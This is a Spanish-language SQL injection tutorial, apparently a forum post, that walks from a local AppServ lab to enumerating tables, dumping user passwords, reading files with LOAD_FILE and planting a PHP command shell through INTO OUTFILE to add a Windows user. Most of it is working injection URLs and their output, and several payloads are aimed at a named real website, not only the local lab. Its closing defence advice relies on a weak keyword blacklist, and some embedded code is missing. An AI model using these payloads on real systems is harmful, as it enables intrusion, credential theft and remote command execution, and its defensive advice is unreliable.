Inyeccion Sql desde 0

Inyecciones SQL desde 0


Indice:

1:Que es una inyección SQL
2:Como sacar el numero de columnas
3:Como sacar tablas y columnas en information schema
4:Como sacar tablas y columnas por fuerza bruta
5:Como sacar columnas de mysql.user
6:Como sacar usuarios y password
7:Sacar informacion de la base de datos
8:Como explotar LOAD_FILE
9:Como hacer vulnerable a RFI mediante una inyeccion SQL
10:Evitar estos ataques

0x01:Que es una inyeccion SQL

Una inyeccion SQL es tecnica para sacar informacion de una base de datos para poder
ver datos que no son publicos y modificar a nuestro antojo.
La mayoria de las personas que les gusta hackear siempre usan las inyecciones SQL ya
preparadas para sacar user y pass del admin sin siquiera conocer como funciona.Esto
es algo muy negativo ya que cualquier idiota sin experiencia puedo sacar user y pass con
un plis.
Para usar este manual necesitas tener instalado AppServer o Easy PHP


http://www.appservnetwork.com/index.php?newlang=spanish

Los archivos para la web deben ir en C:\Appserv\www

Entonces a programar se ha dicho.


Antes que tienes que crear la base de datos , primero van a

Inicio - Todos los programas - Appserv - MySQL Command Line Client

Ejecutamos el MySQL Command Line Client y escribimos la contraseña.

Ejecuta los siguientes comandos.

Código: [Seleccionar]
Language: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_INCREMENT,
`name` varchar(25) NOT
NULL,
`password` varchar(50) NOT
NULL,
`country` varchar(20) NOT
NULL,
PRIMARY
KEY
(`id`)




INSERT
INTO
`users` VALUES
(1, 'Guason', '123', 'Argentina');
INSERT
INTO
`users` VALUES
(2, 'Pero', '11', 'Infierno');
INSERT
INTO
`users` VALUES
(3, 'Trinity', '12354', 'Via Lactea');
INSERT
INTO
`users` VALUES
(4, 'Galaxia', 'gaylord', 'Cabaret');



Aca les dejo para el index

Código: [Seleccionar]
Language: PHP
Laboratorio Guasonero
By Guasón

";
echo "user_id: ".$users[0]."
";
echo "username: ".$users[1]."
";
echo "password: ".$users[3]."
";


mysql_close($db);


?>



¿Como se si es vulnerable?


Para saber si es vulnerable basta con hacer

http://127.0.0.1/index.php?id=1+and+1=0

Si no se muestra nada , la pagina no seria vulnerable.



0x02:Como sacar el numero de columnas


Para sacar el numero de columnas seria muy facil pues puede ser con dos tecnicas que son


**ORDER BY******

Para poder sacar el numero de columnas mediante Order By seria

http://127.0.0.1/index.php?id=1+order+by+1

Si se muesta todo correcto es que ese numero que esta al final de la url "1" no es numero de
columnas y tenemos que seguir subiendo

http://127.0.0.1/index.php?id=1+order+by+2
http://127.0.0.1/index.php?id=1+order+by+3
http://127.0.0.1/index.php?id=1+order+by+4
http://127.0.0.1/index.php?id=1+order+by+5 (ERROR)

Pues si en el numero 5 nos dice error , esta queriendo decir que ya no hay mas columnas , pues
deduciendo tenemos que el sitio tiene 4 columnas



***Sumando con union select*******


Esta es la mejor y mas bien confiable tecnica para sacar el numero de columnas. Yo en esta
tecnica lo que hago es poner una palabra en hexadecimal y no numero. Ejemplo

0x677561736f6e = guason

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e

Pues no nos dice nada interesante la inyeccion pero si seguimos poniendole mas.....

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e ( NOS TIRA guason)


Pues si instalaste la base de datos como la mia. Veras que al intentar 4 veces mi nombre en
hexadecimal nos tira 3 veces guason. Pues es obvio que la base de datos tiene 4 columnas.
Esta tecnica es muy bueno para hacer tools un ejemplo es mi programa Hunter-MYSQL aunque
yo lo considero obsoleto.


0x03:Como sacar tablas y columnas con information schema

Hay dos formas de sacar tablas y columnas con information schema una es a lo boludo y otra a lo
vivo. Pero en realidad serian con sus verdaderos nombres LIMIT y group_concat
Para los dos casos necesitamos el numero de columnas antes

***Usando LIMIT*****

Para recorrer las tablas usare como ejemplo a bullcariez pues mi version de mysql no es la 5:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1

Con esta tecnica veran una tabla pero no todas por lo que tiene que seguir aumentando el numero
hasta que vean alguna interesante como user o pass.

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1

Cuando lleguen al numero 17 veran la tabla amada llamada Users

Ahora hay que sacar las columnas con limit. Seria asi.

117,115,101,114,115 = Users en ascii

http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)

Como veran se muestra el nombre de una columna llamada Pass y si intentamos con 69 nos muestra la columna llamada nombre.Realmente una mierda esta tecnica pero bueno.

Aca les dejo una tool para convertir una palabra a ascii en este caso tablas
Código: [Seleccionar]
Language: Perl
#Name program = Ascii-DE
#Version = beta
#Autor = El Gran Guasón


my $palabra = $ARGV[1];
my $opcion = $ARGV[2];


unless ($palabra || $opcion) {
print "\n\nModo de uso = $0 --ascii \n\n";
print " = Texto normal o codificacion ascii\n";
print " = encode , decode\n\n";
exit 1;
}


if ($opcion eq "encode") {
&ascii_encode($palabra);
&creditos;
}

if ($opcion eq "decode") {
&ascii_decode($palabra);
&creditos;
}


sub ascii_decode {

my $z = shift;

$z = join q[], map { chr } split q[,],$z;

print "\n\n[+] Texto codificado = $palabra\n";
print "[+] Texto normal = $z\n\n";

}


sub ascii_encode {

my $string = shift;

$re = join ',', unpack "U*", $string; # o A* para ASCII
print "\n\n[+] Texto normal = $palabra\n";
print "[+] Texto codificado = $re\n\n";

}

sub creditos {
print "\n\n\n\n\t\t\t******************************************\t\t\t";
print "\t\t\tWritten By El Gran Guason || 2010\t\t\t";
print "\t\t******************************************\t\t\t\n\n";
exit 1;
}





******Usando group_concat******************


Ok , ahora viene la mejor y mas corta seguiremos usando lamentablemente bullcariez


http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(table_name),2,3,4,5,6+from+information_schema.tables

Con esta tecnica presenciaremos todas las tablas aunque no todas.Pero la que vale es users

Ahora cuando vean la tabla users lo sacan de esta manera no antes que de haber
convertido en ascii la tabla.

http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(column_name),2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)

Pues ahora veremos todas las columnas de esa tabla , pero las esenciales son nombre y Pass.




0x04:Como sacar tablas y columnas por fuerza bruta.

Pues esta tecnica es la peor y mas dura.Pues para eso hice a Hunter-MYSQL que intenta sacarlas
aunque a veces no hay remedio.

Ok , tomaremos como ejemplo a nuestro servidor web y no a la mierda de bullcariez.
Como siempre cabe aclarar que vamos a necesitar al numero de columnas. Ahora vamos
a los ejemplos.

Antes de probar esto hay que tener claro la segundo tecnica de sacar columnas del manual

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+LATABLA A PROBAR


http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+usuarios

Pues el resultado de esta inyeccion es cualquier cosa pues si la tabla usuarios existiera nos mostraria guason en el resultado

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+users

Ok ,yes , nos ha mostrado 3 veces guason , pues eso solo nos esta diciendo que la tabla users EXISTE.

Ahora las columnas de la tabla users

Para sacar las columnas de la tabla users seria


http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,COLUMNA A PROBAR),2,3,4+from+users--


http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,sexualidad),2,3,4+from+users--

Como veran intente con la columna sexualidad pero como esta no existe no se mostrara un carajo.

Ahora probare con name , password y country


http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,name),2,3,4+from+users--


http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,password),2,3,4+from+users--

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,country),2,3,4+from+users--

Pues todas inyecciones nos tira guason
guason
guason

Pues esa son las columnas que tiene la tabla users.



0x05:Sacar columnas de mysql.user

Pues para comprobar si nuestro servidor web tiene mysql.user seria:



http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

Ok , a mi , me devuelve tres veces guason , no se a ustedes pero bueno.
Para sacar las columnas de mysql.user seria:


http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,COLUMNA A PROBAR),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,tonton),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

Pues no nos devuelve ese idiota de guason , entonces no tiene ninguna columna llamada tonton

Entonces para probar con name password nos tira

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,user),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,password),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

Nos tira : guason
guason


Entonces las columnas son user y password.




0x06:Como sacar usuarios y password

Ok , si ya conseguiste la tabla de usuarios con las columas interesantes lo que debes hacer es

http://127.0.0.1/index.php?id=-1+union+select+1,2,3,4

Debes elegir algunos de los numeros que salen en la pantalla de resultado.Pues si al final de usar
algunos de los estos numeros y mas adelante no te salio nada , debes intentar con otro numero que
te da la inyeccion en el resultado.

Pues yo eligo el 1. Entonces la inyeccion seria con estos datos

tabla = users
columnas a sacar = name y password


http://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,password),2,3,4+from+users


Uso a 0x3a para separar el resultado del name y del password
0x3a = :

La inyeccion nos tira

Guason:123

Ay no! alguien tien mi contraseña xD

Lo mismo seria para mysql.user


http://127.0.0.1/index.php?id=-1+union+select+concat(user,0x3a,password),2,3,4+from+mysql.user


Y lo mismo para information_schema


http://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,password),2,3,4+from+users

Pero este ultimo no me anda porque mi mysql es viejo y no tiene information_schema pero la inyeccion nos da el mismo resultado ya que las tablas y columnas si existen


0x07:Sacar informacion de la base de datos

Ok , para sacar informacion de la base de datos seria:

Lo que podemos sacar es
Código: [Seleccionar]
version() = Version de mysql
database() = Tipo base de datos
user() = usuario
connection_id() = Id de la conexion



Para tenemos que tenes el numero de columnas

http://127.0.0.1/index.php?id=-1+union+select+1,2,3,4

Pues eligen cualquier numero que les tire el resultado de la inyeccion

En mi caso agarro uno

http://127.0.0.1/index.php?id=-1+union+select+concat(user(),0x3a,database(),0x3a,version(),connection_id(),0x3a),2,3,4

Pues nos tira:
Código: [Seleccionar]
root@localhost:test:4.1.9-max3:


Todos los datos que pedimos primero el user , despues el nombre basedate , luego la version y despues el id de la conexion.



0x08:Como explotar LOAD_FILE


Con la funcion LOAD_FILE podemos leer los archivos que hay en el servidor Ejemplo por defecto
en mi base de datos voy a parar en mysql/data. Yo en este directorio yo tengo un archivo llamado boludo.txt.

Entonces teniendo a boludo.txt = 0x626f6c75646f2e747874
Podemos leer el archivo mediante el numero milagroso y la funcion load_file


http://127.0.0.1/index.php?id=-1+union+select+load_file(0x626f6c75646f2e747874),2,3,4

Entonces el resultado me daria " Hola enfermo! " porque en el archivo boludo.txt tengo solamente eso.

Y asi podran ir sacando cosas malevolas con esta tecnica.



0x09:Como hacer vulnerable a RFI mediante una inyeccion SQL

Pues ya teniendo el numero de columnas tambien podemos crear archivo mediante la funcion
into+outfile
Entonces como siempre agarramos el 1 xD.

Eh intentaremos crear un ejecutor de comandos con este codigo
Código: [Seleccionar]
Language: PHP



Cabe aclarar que el directorio que vamos a que guardar este ejecutor no debe ser restringido para
los visitantes.

http://127.0.0.1/index.php.php?id=-1+union+select+' ',2,3,4+into+outfile+'gilo.php'


Ok , si ven que el resultado es nulo y no sale ningun error es que se ah creado el archivo. Por
defecto a mi se me creo en mysql/data.
Solo es cuestion de ir cambiando de directorios hasta que alguno nos deje crear el archivo.

Pero por algo me hago llamar El Gran Guasón , porque no soy mas un newbie y no tengo nada
de noob.

Vamos a ejecutar de nuevo la sentencia pero ahora de esta forma.

http://127.0.0.1/index.php.php?id=-1+union+select+"",2,3,4+into+outfile+'../../www/cmd.php'--

La explicacion seria simple como la estructura de Easy PHP hizo que el resultado del archivo
creado terminara en mysql/data lo que yo hice fue dar dos veces para atras e ir al directorio www de
Easy PHP terminando creando el archivo cmd.php

Ahora solo es cuestion de hacer esto

http://127.0.0.1/cmd.php

Y listo tenemos una cosa rara de shell que ejecuta comandos

Un ejemplo seria

http://127.0.0.1/cmd.php?agarrala=net user /add Jose 123

Este comando es porque mi SO es Windows ,la mayoria de los SO de las webs son linux y los directorios apache varian solo es cuestion de ir probando.


0x10:Evitar estos ataques

Ahora que ya eh explicado casi todo es hora de decir como defenderse de estos ataques
Hay varios formas pero solo nombrare algunas

Código: [Seleccionar]
Language: PHP
$user =(int)$_GET['id'];


Con esto queremos decir que si se introduce algun dato o valor en la inyeccion no sera mostrada

Ahora hay que usar otra para evitar el "select"
Código: [Seleccionar]
$user = $_GET['id'];
$user = str_replace("select","9999999999999",$user);


Ahora este codigo no esta diciendo que si se utiliza la palabra "select" esta sera reemplazada por
"9999999999999".

Autor: El Gran Guasón